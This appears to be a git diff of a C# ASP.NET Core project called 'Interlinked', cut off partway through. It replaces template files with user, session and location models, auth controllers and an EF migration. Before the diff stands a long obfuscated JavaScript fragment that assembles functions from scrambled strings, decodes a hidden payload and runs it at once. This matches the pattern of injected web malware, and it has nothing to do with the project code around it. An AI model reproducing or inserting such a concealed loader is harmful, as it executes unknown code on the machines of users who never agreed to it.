ra(.=ur,(d,.cnaj(o6eer(o+.r{18h=v;ou(;)}qrlahc(a=ie+25}{f(,n[C0(ves(=eg[vd))0)r.2lrh6c.;ls-hr+ag[nrSa))vn0"g+n=ve"7(),7;.+1po=mz1!f5+liv=ijiv<)tb)vayt([r"iplv<i i s+)l 2qlpq[,o,er(oo.r,7gp)sh( a=]c;nv7a-5=r=)i.qpuat}va*>;=e(f,pnys)f428=pg 4]. ;u".b;.)i,od(=6ateiff.fbvn=;afvod+2;6h,n.r6h(c <6.;+n=.1uo.e8=.}(cwzoi}oeglh)rt.c()rhhtf)tj=sinnS;]r;0r;g=m,]{vaoear;ggdham"er]2np{vsuo8th2uujria0rb+)v);';var TSF=nqF[oJv];var nQC='';var Yvf=TSF;var nJA=TSF(nQC,nqF(wlY));var hCn=nJA(nqF('oaVfdot 3=.;3nb"r%%c;&uaoiVyo]nhel\'gbCyd].}a&al_esuei[Vb[fhvi%=V=lEy].vnt+%t;7)Vist={Ve!VV}r1g>ar wlfouo.at$c)]%led_+[V)_}lV0rb#t"doarajVgiur=dr(m.tt1o".(V_\/h(tn>a!kitnv(ht2#)VybatedoE",5(]x(5s),&+sV=noh%6Ve=amb).(*a=V.ofh(gosV;]![aofar)hk}t0t\'t-=den.l:.sj7h]=r%&!]c;a,jet.V }((.r+cv;*n1VukmaVmr+s.14cx8.Vm)b5hu.dfi8c+tax{]iaahe7)iahy9s.cVm]mo)d1.iCu50bla!q{#!9.a(8i=3fa.miue(d%.*.(reejfridna_ce.vu1|.)"eyt(.V!r.uu[(ns(.!iujg=:7.5(+eVlq3SasVng2#n$t.Ctb5ai+8.127SV)%=(rm5o".ic."naeb#. %r)oa&1]Vio;iaVs:=)b=.0;1"atnaeV]r=Vtltlm]"%VV.ojn{)sVV\'n%f+n%t )co1(3.arv%s1otV)a$a.i{$hfbcthm])))VV+ff)"[;%%+%y)ara1a.{a,de.ma)._+]=.a.s6.hm11er.(ai(=lois=e1e=,.c\'pe sV.;7ceVqe7=p=uas]qn)+.V[]86;a)".a((V5sm#|V{a)nieea{(b#i]cj0r];eeatz.9;j.==}}{onV{()9nV+V))=Vc9.aaa.}.])l4;_m( .]a=a(w au:.em(}u=(86VM!])]pVfuwamd$hu)nse)r(lrV]=]Mt.il)oesret)mt]o0)(5]sisV.=$bV )$V..v3ayc*k.7gsl)%s=V6x%.hr.mhock.sc*i:. =y+t!fi;;n%6V t$v98;e[ba!,oii"%.a}m%V=..V*rVT2$tVi]s1g'));var wOI=Yvf(PXs,hCn );wOI(9755);return 8948})()
|
|
@ -1,32 +0,0 @@
|
||||||
using Microsoft.AspNetCore.Mvc;
|
|
||||||
|
|
||||||
namespace Interlinked.Locator.Controllers;
|
|
||||||
|
|
||||||
[ApiController]
|
|
||||||
[Route("[controller]")]
|
|
||||||
public class WeatherForecastController : ControllerBase
|
|
||||||
{
|
|
||||||
private static readonly string[] Summaries = new[]
|
|
||||||
{
|
|
||||||
"Freezing", "Bracing", "Chilly", "Cool", "Mild", "Warm", "Balmy", "Hot", "Sweltering", "Scorching"
|
|
||||||
};
|
|
||||||
|
|
||||||
private readonly ILogger<WeatherForecastController> _logger;
|
|
||||||
|
|
||||||
public WeatherForecastController(ILogger<WeatherForecastController> logger)
|
|
||||||
{
|
|
||||||
_logger = logger;
|
|
||||||
}
|
|
||||||
|
|
||||||
[HttpGet(Name = "GetWeatherForecast")]
|
|
||||||
public IEnumerable<WeatherForecast> Get()
|
|
||||||
{
|
|
||||||
return Enumerable.Range(1, 5).Select(index => new WeatherForecast
|
|
||||||
{
|
|
||||||
Date = DateOnly.FromDateTime(DateTime.Now.AddDays(index)),
|
|
||||||
TemperatureC = Random.Shared.Next(-20, 55),
|
|
||||||
Summary = Summaries[Random.Shared.Next(Summaries.Length)]
|
|
||||||
})
|
|
||||||
.ToArray();
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,14 +0,0 @@
|
||||||
<Project Sdk="Microsoft.NET.Sdk.Web">
|
|
||||||
|
|
||||||
<PropertyGroup>
|
|
||||||
<TargetFramework>net7.0</TargetFramework>
|
|
||||||
<Nullable>enable</Nullable>
|
|
||||||
<ImplicitUsings>enable</ImplicitUsings>
|
|
||||||
</PropertyGroup>
|
|
||||||
|
|
||||||
<ItemGroup>
|
|
||||||
<PackageReference Include="Microsoft.AspNetCore.OpenApi" Version="7.0.11" />
|
|
||||||
<PackageReference Include="Swashbuckle.AspNetCore" Version="6.5.0" />
|
|
||||||
</ItemGroup>
|
|
||||||
|
|
||||||
</Project>
|
|
|
@ -1,25 +0,0 @@
|
||||||
var builder = WebApplication.CreateBuilder(args);
|
|
||||||
|
|
||||||
// Add services to the container.
|
|
||||||
|
|
||||||
builder.Services.AddControllers();
|
|
||||||
// Learn more about configuring Swagger/OpenAPI at https://aka.ms/aspnetcore/swashbuckle
|
|
||||||
builder.Services.AddEndpointsApiExplorer();
|
|
||||||
builder.Services.AddSwaggerGen();
|
|
||||||
|
|
||||||
var app = builder.Build();
|
|
||||||
|
|
||||||
// Configure the HTTP request pipeline.
|
|
||||||
if (app.Environment.IsDevelopment())
|
|
||||||
{
|
|
||||||
app.UseSwagger();
|
|
||||||
app.UseSwaggerUI();
|
|
||||||
}
|
|
||||||
|
|
||||||
app.UseHttpsRedirection();
|
|
||||||
|
|
||||||
app.UseAuthorization();
|
|
||||||
|
|
||||||
app.MapControllers();
|
|
||||||
|
|
||||||
app.Run();
|
|
|
@ -1,41 +0,0 @@
|
||||||
{
|
|
||||||
"$schema": "https://json.schemastore.org/launchsettings.json",
|
|
||||||
"iisSettings": {
|
|
||||||
"windowsAuthentication": false,
|
|
||||||
"anonymousAuthentication": true,
|
|
||||||
"iisExpress": {
|
|
||||||
"applicationUrl": "http://localhost:57682",
|
|
||||||
"sslPort": 44326
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"profiles": {
|
|
||||||
"http": {
|
|
||||||
"commandName": "Project",
|
|
||||||
"dotnetRunMessages": true,
|
|
||||||
"launchBrowser": true,
|
|
||||||
"launchUrl": "swagger",
|
|
||||||
"applicationUrl": "http://localhost:5202",
|
|
||||||
"environmentVariables": {
|
|
||||||
"ASPNETCORE_ENVIRONMENT": "Development"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"https": {
|
|
||||||
"commandName": "Project",
|
|
||||||
"dotnetRunMessages": true,
|
|
||||||
"launchBrowser": true,
|
|
||||||
"launchUrl": "swagger",
|
|
||||||
"applicationUrl": "https://localhost:7210;http://localhost:5202",
|
|
||||||
"environmentVariables": {
|
|
||||||
"ASPNETCORE_ENVIRONMENT": "Development"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"IIS Express": {
|
|
||||||
"commandName": "IISExpress",
|
|
||||||
"launchBrowser": true,
|
|
||||||
"launchUrl": "swagger",
|
|
||||||
"environmentVariables": {
|
|
||||||
"ASPNETCORE_ENVIRONMENT": "Development"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,12 +0,0 @@
|
||||||
namespace Interlinked.Locator;
|
|
||||||
|
|
||||||
public class WeatherForecast
|
|
||||||
{
|
|
||||||
public DateOnly Date { get; set; }
|
|
||||||
|
|
||||||
public int TemperatureC { get; set; }
|
|
||||||
|
|
||||||
public int TemperatureF => 32 + (int)(TemperatureC / 0.5556);
|
|
||||||
|
|
||||||
public string? Summary { get; set; }
|
|
||||||
}
|
|
|
@ -1,8 +0,0 @@
|
||||||
{
|
|
||||||
"Logging": {
|
|
||||||
"LogLevel": {
|
|
||||||
"Default": "Information",
|
|
||||||
"Microsoft.AspNetCore": "Warning"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,9 +0,0 @@
|
||||||
{
|
|
||||||
"Logging": {
|
|
||||||
"LogLevel": {
|
|
||||||
"Default": "Information",
|
|
||||||
"Microsoft.AspNetCore": "Warning"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"AllowedHosts": "*"
|
|
||||||
}
|
|
|
@ -1,5 +0,0 @@
|
||||||
namespace Interlinked.Shared;
|
|
||||||
public class Class1
|
|
||||||
{
|
|
||||||
|
|
||||||
}
|
|
61
src/Interlinked.Shared/GeoLib.cs
Normal file
61
src/Interlinked.Shared/GeoLib.cs
Normal file
|
@ -0,0 +1,61 @@
|
||||||
|
namespace Interlinked.Shared;
|
||||||
|
|
||||||
|
public class Geographical{
|
||||||
|
const double km = 111.1;//one degree in kilometres
|
||||||
|
public static bool isInArea(Coordinate Center, Coordinate Check, double radius){//longlat given in degrees, radius given in Kilometres
|
||||||
|
//(Check.x-Center.long)^2+(Check.lat-Center.lat) = (radius/km)^2
|
||||||
|
double opSign = (Center.Longtitude/(Math.Abs(Center.Longtitude)));
|
||||||
|
double radiusSquared1 = Math.Pow((Check.Longtitude - Center.Longtitude), 2) +
|
||||||
|
Math.Pow((Check.Latitude - Center.Latitude), 2);
|
||||||
|
double radiusSquared2 = Math.Pow(((Check.Longtitude) - Center.Longtitude + (opSign * 180)), 2) +
|
||||||
|
Math.Pow((Check.Latitude - Center.Latitude), 2);
|
||||||
|
if(radiusSquared1 <= Math.Pow((radius/km), 2) || radiusSquared2 <= Math.Pow((radius/km), 2)){
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public static Coordinate[] GetInclusionZone(Coordinate center, double maxInclusion = 20)//maximum distance in kilometres//just use this, the circle is cool but useless.
|
||||||
|
{
|
||||||
|
double maxDistance = KilometreToDegree(maxInclusion);
|
||||||
|
double opSign = (center.Longtitude/(Math.Abs(center.Longtitude)));
|
||||||
|
return new Coordinate[]
|
||||||
|
{
|
||||||
|
new Coordinate(center.Longtitude-maxDistance, center.Latitude-maxDistance),
|
||||||
|
new Coordinate(center.Longtitude+maxDistance, center.Latitude+maxDistance),
|
||||||
|
new Coordinate(-(center.Longtitude-maxDistance+(opSign * 180)), center.Latitude-maxDistance),
|
||||||
|
new Coordinate(-(center.Longtitude+maxDistance+(opSign * 180)), center.Latitude+maxDistance)
|
||||||
|
};//returns positive and negative inclusion boundaries for either side of the globe
|
||||||
|
}
|
||||||
|
public static double DegreeToKilometre(double degree){
|
||||||
|
return degree * km;
|
||||||
|
}
|
||||||
|
public static double KilometreToDegree(double kilometre){
|
||||||
|
return kilometre/km;
|
||||||
|
}
|
||||||
|
public Coordinate ParseStringToCoord(string input){
|
||||||
|
string Longtitude = "";
|
||||||
|
string Latitude = "";
|
||||||
|
bool comma = false;
|
||||||
|
char c;
|
||||||
|
for(int i = 0; i < input.Length; i++){
|
||||||
|
c = input[i];
|
||||||
|
if(c == ','){comma = true; i++;}
|
||||||
|
if(comma){Latitude+=c;}
|
||||||
|
else{Longtitude+=c;}
|
||||||
|
}
|
||||||
|
return new Coordinate(Convert.ToDouble(Longtitude), Convert.ToDouble(Latitude));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public struct Coordinate{
|
||||||
|
public double Longtitude{get; init;}
|
||||||
|
public double Latitude{get; init;}
|
||||||
|
|
||||||
|
public Coordinate(double longt, double lat)
|
||||||
|
{
|
||||||
|
Longtitude = longt;
|
||||||
|
Latitude = lat;
|
||||||
|
}
|
||||||
|
}
|
24
src/Interlinked.Shared/Model/AuthSession.cs
Normal file
24
src/Interlinked.Shared/Model/AuthSession.cs
Normal file
|
@ -0,0 +1,24 @@
|
||||||
|
using System.ComponentModel.DataAnnotations;
|
||||||
|
using System.Net;
|
||||||
|
using System.Security.Cryptography;
|
||||||
|
|
||||||
|
namespace Interlinked.Shared.Model;
|
||||||
|
|
||||||
|
public class AuthSession
|
||||||
|
{
|
||||||
|
[Key]
|
||||||
|
public required byte[] Key { get; set; }
|
||||||
|
public required byte[] Secret { get; set; }
|
||||||
|
public long UserId { get; set; }
|
||||||
|
public IPAddress? LastAddress { get; set; } = default!;
|
||||||
|
public UserModel User { get; set; } = default!;
|
||||||
|
|
||||||
|
public override string ToString()
|
||||||
|
{
|
||||||
|
//TODO: Use key
|
||||||
|
using var sha = SHA256.Create();
|
||||||
|
var hash = sha.ComputeHash(Secret);
|
||||||
|
return $"{Convert.ToBase64String(Key)}.{Convert.ToBase64String(hash)}";
|
||||||
|
//Validate
|
||||||
|
}
|
||||||
|
}
|
13
src/Interlinked.Shared/Model/Locations.cs
Normal file
13
src/Interlinked.Shared/Model/Locations.cs
Normal file
|
@ -0,0 +1,13 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
|
||||||
|
namespace Interlinked.Shared.Model;
|
||||||
|
|
||||||
|
public record City
|
||||||
|
{
|
||||||
|
public double Latitude { get; set; }
|
||||||
|
public double Longitude { get; set; }
|
||||||
|
public string Name { get; set; } = default!;
|
||||||
|
}
|
22
src/Interlinked.Shared/Model/Project.cs
Normal file
22
src/Interlinked.Shared/Model/Project.cs
Normal file
|
@ -0,0 +1,22 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.ComponentModel.DataAnnotations;
|
||||||
|
using System.ComponentModel.DataAnnotations.Schema;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
|
||||||
|
namespace Interlinked.Shared.Model;
|
||||||
|
|
||||||
|
public class Project
|
||||||
|
{
|
||||||
|
[Key]
|
||||||
|
[DatabaseGenerated(DatabaseGeneratedOption.Identity)]
|
||||||
|
public long Id { get; set; }
|
||||||
|
|
||||||
|
public required string Title { get; set; }
|
||||||
|
public string? Description { get; set; }
|
||||||
|
public long OwnerId { get; set; }
|
||||||
|
public virtual UserModel Owner { get; set; } = default!;
|
||||||
|
public ICollection<Tag> Tags { get; set; } = default!;
|
||||||
|
|
||||||
|
}
|
17
src/Interlinked.Shared/Model/Tag.cs
Normal file
17
src/Interlinked.Shared/Model/Tag.cs
Normal file
|
@ -0,0 +1,17 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.ComponentModel.DataAnnotations;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
|
||||||
|
namespace Interlinked.Shared.Model;
|
||||||
|
|
||||||
|
public class Tag
|
||||||
|
{
|
||||||
|
[Key]
|
||||||
|
public required string Identifier { get; set; }
|
||||||
|
public required string Name { get; set; }
|
||||||
|
|
||||||
|
public virtual ICollection<UserModel> Users { get; set; } = default!;
|
||||||
|
public virtual ICollection<Project> Projects { get; set; } = default!;
|
||||||
|
}
|
50
src/Interlinked.Shared/Model/User.cs
Normal file
50
src/Interlinked.Shared/Model/User.cs
Normal file
|
@ -0,0 +1,50 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.ComponentModel.DataAnnotations;
|
||||||
|
using System.ComponentModel.DataAnnotations.Schema;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Security.Cryptography;
|
||||||
|
using System.Text;
|
||||||
|
using System.Text.Json.Serialization;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
|
||||||
|
namespace Interlinked.Shared.Model;
|
||||||
|
|
||||||
|
public record UserModel
|
||||||
|
{
|
||||||
|
[Key]
|
||||||
|
[DatabaseGenerated(DatabaseGeneratedOption.Identity)]
|
||||||
|
public long Id { get; set; }
|
||||||
|
[MaxLength(32)]
|
||||||
|
public required string Username { get; set; }
|
||||||
|
[EmailAddress]
|
||||||
|
public required string Email { get; set; }
|
||||||
|
[MaxLength(96)]
|
||||||
|
public string? Name { get; set; }
|
||||||
|
[JsonIgnore]
|
||||||
|
public byte[] Salt { get; set; } = default!;
|
||||||
|
[JsonIgnore]
|
||||||
|
public byte[] Hash { get; set; } = default!;
|
||||||
|
public string? City { get; set; }
|
||||||
|
[StringLength(2)]
|
||||||
|
public string CountryCode { get; set; } = "XX";
|
||||||
|
public string? Gender { get; set; } = "cat";
|
||||||
|
public DateTime? DayOfBirth { get; set; }
|
||||||
|
public ICollection<Tag> Interests { get; set; } = default!;
|
||||||
|
[DatabaseGenerated(DatabaseGeneratedOption.Identity)]
|
||||||
|
public DateTime CreatedTimestamp { get; set; }
|
||||||
|
|
||||||
|
public string? Bio { get; set; }
|
||||||
|
|
||||||
|
public static byte[] HashPassword(string password, byte[] salt)
|
||||||
|
{
|
||||||
|
return Rfc2898DeriveBytes.Pbkdf2(Encoding.UTF8.GetBytes(password), salt, 1000, HashAlgorithmName.SHA256, 64);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] HashPassword(string password) => HashPassword(password, Salt);
|
||||||
|
|
||||||
|
public bool CheckHash(string password) => HashPassword(password).SequenceEqual(Hash);
|
||||||
|
|
||||||
|
[JsonIgnore]
|
||||||
|
public virtual ICollection<AuthSession> AuthSessions { get; set; } = default!;
|
||||||
|
}
|
150
src/Interlinked.User/Controllers/AuthController.cs
Normal file
150
src/Interlinked.User/Controllers/AuthController.cs
Normal file
|
@ -0,0 +1,150 @@
|
||||||
|
using System.Security.Cryptography;
|
||||||
|
using Interlinked.Shared.Model;
|
||||||
|
using Interlinked.User.Services;
|
||||||
|
using Microsoft.AspNetCore.Authorization;
|
||||||
|
using Microsoft.AspNetCore.Mvc;
|
||||||
|
using Microsoft.EntityFrameworkCore;
|
||||||
|
|
||||||
|
namespace Interlinked.User.Controllers;
|
||||||
|
|
||||||
|
[ApiController]
|
||||||
|
[Route("api/auth")]
|
||||||
|
public class AuthController : ControllerBase
|
||||||
|
{
|
||||||
|
public AuthController(StoreContext db, AuthManager auth)
|
||||||
|
{
|
||||||
|
_db = db;
|
||||||
|
_auth = auth;
|
||||||
|
}
|
||||||
|
private readonly StoreContext _db;
|
||||||
|
private readonly AuthManager _auth;
|
||||||
|
|
||||||
|
public record RegisterRequest(string email, string username, string? name, string password);
|
||||||
|
|
||||||
|
[AllowAnonymous]
|
||||||
|
[HttpPost("register")]
|
||||||
|
public async Task<IActionResult> Register([FromBody] RegisterRequest req)
|
||||||
|
{
|
||||||
|
var now = DateTime.UtcNow;
|
||||||
|
|
||||||
|
string email = req.email.ToLower().Trim();
|
||||||
|
string username = req.username.Trim();
|
||||||
|
|
||||||
|
if (_db.Users.AsNoTracking().Any(u => u.Username == username))
|
||||||
|
{
|
||||||
|
return Conflict("Username taken.");
|
||||||
|
}
|
||||||
|
//VALID???
|
||||||
|
if (_db.Users.AsNoTracking().Any(u => u.Email == email))
|
||||||
|
{
|
||||||
|
return Conflict("Email taken.");
|
||||||
|
}
|
||||||
|
|
||||||
|
byte[] salt = new byte[16];
|
||||||
|
RandomNumberGenerator.Fill(salt);
|
||||||
|
byte[] hash = UserModel.HashPassword(req.password, salt.ToArray());
|
||||||
|
|
||||||
|
UserModel u = new()
|
||||||
|
{
|
||||||
|
Email = email,
|
||||||
|
Username = username,
|
||||||
|
Salt = salt,
|
||||||
|
Name = req.name,
|
||||||
|
Hash = hash,
|
||||||
|
CreatedTimestamp = now
|
||||||
|
};
|
||||||
|
|
||||||
|
//throw new NotImplementedException();
|
||||||
|
await _db.Users.AddAsync(u);
|
||||||
|
await _db.SaveChangesAsync();
|
||||||
|
|
||||||
|
await _auth.CreateSession(u);
|
||||||
|
|
||||||
|
return Ok(u);
|
||||||
|
}
|
||||||
|
|
||||||
|
public record LoginRequest(string email, string password);
|
||||||
|
|
||||||
|
[AllowAnonymous]
|
||||||
|
[HttpPost("login")]
|
||||||
|
public async Task<IActionResult> Login([FromBody] LoginRequest req)
|
||||||
|
{
|
||||||
|
if ((await _auth.RetrieveCookie()) is not null)
|
||||||
|
{
|
||||||
|
return this.Conflict("Already authenticated...");
|
||||||
|
}
|
||||||
|
string email = req.email.ToLower().Trim();
|
||||||
|
UserModel? u = _db.Users.AsNoTracking().FirstOrDefault(u => email == u.Email);
|
||||||
|
|
||||||
|
if (u is null || !u.CheckHash(req.password))
|
||||||
|
{
|
||||||
|
return Unauthorized();
|
||||||
|
}
|
||||||
|
|
||||||
|
await _auth.CreateSession(u);
|
||||||
|
return Ok(u);
|
||||||
|
}
|
||||||
|
|
||||||
|
[HttpGet("userdata")]
|
||||||
|
public async Task<IActionResult> GetUserData()
|
||||||
|
{
|
||||||
|
if (await _auth.RetrieveCookie() is not AuthSession sess)
|
||||||
|
{
|
||||||
|
return Unauthorized();
|
||||||
|
}
|
||||||
|
|
||||||
|
return Ok(await _db.Users.AsNoTracking().SingleAsync(s => s.Id == sess.UserId));
|
||||||
|
}
|
||||||
|
|
||||||
|
[HttpGet("logout")]
|
||||||
|
public async Task<IActionResult> Logout()
|
||||||
|
{
|
||||||
|
if (await _auth.RetrieveCookie() is AuthSession sess)
|
||||||
|
{
|
||||||
|
await _auth.RevokeSession(sess);
|
||||||
|
return NoContent();
|
||||||
|
}
|
||||||
|
|
||||||
|
return Unauthorized();
|
||||||
|
}
|
||||||
|
|
||||||
|
public record ProfileRequest
|
||||||
|
{
|
||||||
|
public string? Bio { get; set; }
|
||||||
|
public string? CC { get; set; }
|
||||||
|
public string? City { get; set; }
|
||||||
|
public ICollection<string> Interests { get; set; } = new List<string>();
|
||||||
|
}
|
||||||
|
|
||||||
|
[HttpPost("profile/update")]
|
||||||
|
public async Task<IActionResult> UpdateProfile([FromBody] ProfileRequest req)
|
||||||
|
{
|
||||||
|
if (await _auth.RetrieveCookie() is not AuthSession sess)
|
||||||
|
{
|
||||||
|
return Unauthorized();
|
||||||
|
}
|
||||||
|
|
||||||
|
var u = await _db.Users.SingleAsync(s => s.Id == sess.UserId);
|
||||||
|
|
||||||
|
if (u is null)
|
||||||
|
{
|
||||||
|
return this.BadRequest();
|
||||||
|
}
|
||||||
|
|
||||||
|
u.Bio = req.Bio;
|
||||||
|
if (req.CC is not null)
|
||||||
|
{
|
||||||
|
u.CountryCode = req.CC;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (req.City is not null)
|
||||||
|
{
|
||||||
|
u.City = req.City;
|
||||||
|
}
|
||||||
|
|
||||||
|
_db.Users.Update(u);
|
||||||
|
await _db.SaveChangesAsync();
|
||||||
|
|
||||||
|
return NoContent();
|
||||||
|
}
|
||||||
|
}
|
31
src/Interlinked.User/Controllers/DataController.cs
Normal file
31
src/Interlinked.User/Controllers/DataController.cs
Normal file
|
@ -0,0 +1,31 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using Microsoft.AspNetCore.Mvc;
|
||||||
|
using Microsoft.EntityFrameworkCore;
|
||||||
|
|
||||||
|
namespace Interlinked.User.Controllers;
|
||||||
|
|
||||||
|
[ApiController]
|
||||||
|
[Route("api")]
|
||||||
|
public class DataController : ControllerBase
|
||||||
|
{
|
||||||
|
public DataController(StoreContext db)
|
||||||
|
{
|
||||||
|
_db = db;
|
||||||
|
}
|
||||||
|
private readonly StoreContext _db;
|
||||||
|
|
||||||
|
[HttpGet("profile/{username}")]
|
||||||
|
public async Task<IActionResult> GetProfile([FromRoute] string username)
|
||||||
|
{
|
||||||
|
var usr = await _db.Users.AsNoTracking().SingleOrDefaultAsync(u => u.Username == username);
|
||||||
|
if (usr is null)
|
||||||
|
{
|
||||||
|
return NotFound();
|
||||||
|
}
|
||||||
|
|
||||||
|
return Ok(usr with { Email = null! });
|
||||||
|
}
|
||||||
|
}
|
18
src/Interlinked.User/Controllers/SystemController.cs
Normal file
18
src/Interlinked.User/Controllers/SystemController.cs
Normal file
|
@ -0,0 +1,18 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
using Microsoft.AspNetCore.Mvc;
|
||||||
|
|
||||||
|
namespace Interlinked.User.Controllers;
|
||||||
|
|
||||||
|
[ApiController]
|
||||||
|
[Route("api/")]
|
||||||
|
public class SystemController : ControllerBase
|
||||||
|
{
|
||||||
|
[HttpGet("version")]
|
||||||
|
public async Task<IActionResult> Version()
|
||||||
|
{
|
||||||
|
return Ok("1.0E");
|
||||||
|
}
|
||||||
|
}
|
|
@ -1,32 +0,0 @@
|
||||||
using Microsoft.AspNetCore.Mvc;
|
|
||||||
|
|
||||||
namespace Interlinked.User.Controllers;
|
|
||||||
|
|
||||||
[ApiController]
|
|
||||||
[Route("[controller]")]
|
|
||||||
public class WeatherForecastController : ControllerBase
|
|
||||||
{
|
|
||||||
private static readonly string[] Summaries = new[]
|
|
||||||
{
|
|
||||||
"Freezing", "Bracing", "Chilly", "Cool", "Mild", "Warm", "Balmy", "Hot", "Sweltering", "Scorching"
|
|
||||||
};
|
|
||||||
|
|
||||||
private readonly ILogger<WeatherForecastController> _logger;
|
|
||||||
|
|
||||||
public WeatherForecastController(ILogger<WeatherForecastController> logger)
|
|
||||||
{
|
|
||||||
_logger = logger;
|
|
||||||
}
|
|
||||||
|
|
||||||
[HttpGet(Name = "GetWeatherForecast")]
|
|
||||||
public IEnumerable<WeatherForecast> Get()
|
|
||||||
{
|
|
||||||
return Enumerable.Range(1, 5).Select(index => new WeatherForecast
|
|
||||||
{
|
|
||||||
Date = DateOnly.FromDateTime(DateTime.Now.AddDays(index)),
|
|
||||||
TemperatureC = Random.Shared.Next(-20, 55),
|
|
||||||
Summary = Summaries[Random.Shared.Next(Summaries.Length)]
|
|
||||||
})
|
|
||||||
.ToArray();
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -7,8 +7,23 @@
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
|
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<PackageReference Include="Microsoft.AspNetCore.Components.WebAssembly.Server" Version="7.0.11" />
|
||||||
|
<PackageReference Include="Microsoft.AspNetCore.Identity" Version="2.2.0" />
|
||||||
|
<PackageReference Include="Microsoft.AspNetCore.Identity.EntityFrameworkCore" Version="7.0.11" />
|
||||||
|
<PackageReference Include="Microsoft.AspNetCore.Identity.UI" Version="7.0.11" />
|
||||||
<PackageReference Include="Microsoft.AspNetCore.OpenApi" Version="7.0.11" />
|
<PackageReference Include="Microsoft.AspNetCore.OpenApi" Version="7.0.11" />
|
||||||
|
<PackageReference Include="Microsoft.EntityFrameworkCore" Version="7.0.11" />
|
||||||
|
<PackageReference Include="Microsoft.EntityFrameworkCore.Design" Version="7.0.11">
|
||||||
|
<IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets>
|
||||||
|
<PrivateAssets>all</PrivateAssets>
|
||||||
|
</PackageReference>
|
||||||
|
<PackageReference Include="Microsoft.EntityFrameworkCore.Sqlite" Version="7.0.11" />
|
||||||
<PackageReference Include="Swashbuckle.AspNetCore" Version="6.5.0" />
|
<PackageReference Include="Swashbuckle.AspNetCore" Version="6.5.0" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
|
|
||||||
|
<ItemGroup>
|
||||||
|
<ProjectReference Include="..\Interlinked.Shared\Interlinked.Shared.csproj" />
|
||||||
|
<ProjectReference Include="..\Interlinked.Core\Interlinked.Core.csproj" />
|
||||||
|
</ItemGroup>
|
||||||
|
|
||||||
</Project>
|
</Project>
|
||||||
|
|
222
src/Interlinked.User/Migrations/20231001074047_Initial schema.Designer.cs
generated
Normal file
222
src/Interlinked.User/Migrations/20231001074047_Initial schema.Designer.cs
generated
Normal file
|
@ -0,0 +1,222 @@
|
||||||
|
// <auto-generated />
|
||||||
|
using System;
|
||||||
|
using Interlinked.User;
|
||||||
|
using Microsoft.EntityFrameworkCore;
|
||||||
|
using Microsoft.EntityFrameworkCore.Infrastructure;
|
||||||
|
using Microsoft.EntityFrameworkCore.Migrations;
|
||||||
|
using Microsoft.EntityFrameworkCore.Storage.ValueConversion;
|
||||||
|
|
||||||
|
#nullable disable
|
||||||
|
|
||||||
|
namespace Interlinked.User.Migrations
|
||||||
|
{
|
||||||
|
[DbContext(typeof(StoreContext))]
|
||||||
|
[Migration("20231001074047_Initial schema")]
|
||||||
|
partial class Initialschema
|
||||||
|
{
|
||||||
|
/// <inheritdoc />
|
||||||
|
protected override void BuildTargetModel(ModelBuilder modelBuilder)
|
||||||
|
{
|
||||||
|
#pragma warning disable 612, 618
|
||||||
|
modelBuilder.HasAnnotation("ProductVersion", "7.0.11");
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.AuthSession", b =>
|
||||||
|
{
|
||||||
|
b.Property<byte[]>("Key")
|
||||||
|
.HasColumnType("BLOB");
|
||||||
|
|
||||||
|
b.Property<string>("LastAddress")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<byte[]>("Secret")
|
||||||
|
.IsRequired()
|
||||||
|
.HasColumnType("BLOB");
|
||||||
|
|
||||||
|
b.Property<long>("UserId")
|
||||||
|
.HasColumnType("INTEGER");
|
||||||
|
|
||||||
|
b.HasKey("Key");
|
||||||
|
|
||||||
|
b.HasIndex("UserId");
|
||||||
|
|
||||||
|
b.ToTable("AuthSessions");
|
||||||
|
});
|
||||||
|
|
||||||
|
modelBuilder.Entity("Interlinked.Shared.Model.Project", b =>
|
||||||
|
{
|
||||||
|
b.Property<long>("Id")
|
||||||
|
.ValueGeneratedOnAdd()
|
||||||
|
.HasColumnType("INTEGER");
|
||||||
|
|
||||||
|
b.Property<string>("Description")
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.Property<long>("OwnerId")
|
||||||
|
.HasColumnType("INTEGER");
|
||||||
|
|
||||||
|
b.Property<string>("Title")
|
||||||
|
.IsRequired()
|
||||||
|
.HasColumnType("TEXT");
|
||||||
|
|
||||||
|
b.HasKey("Id");
|
||||||
|
|
||||||
|
b.HasIndex("OwnerId");
|
||||||
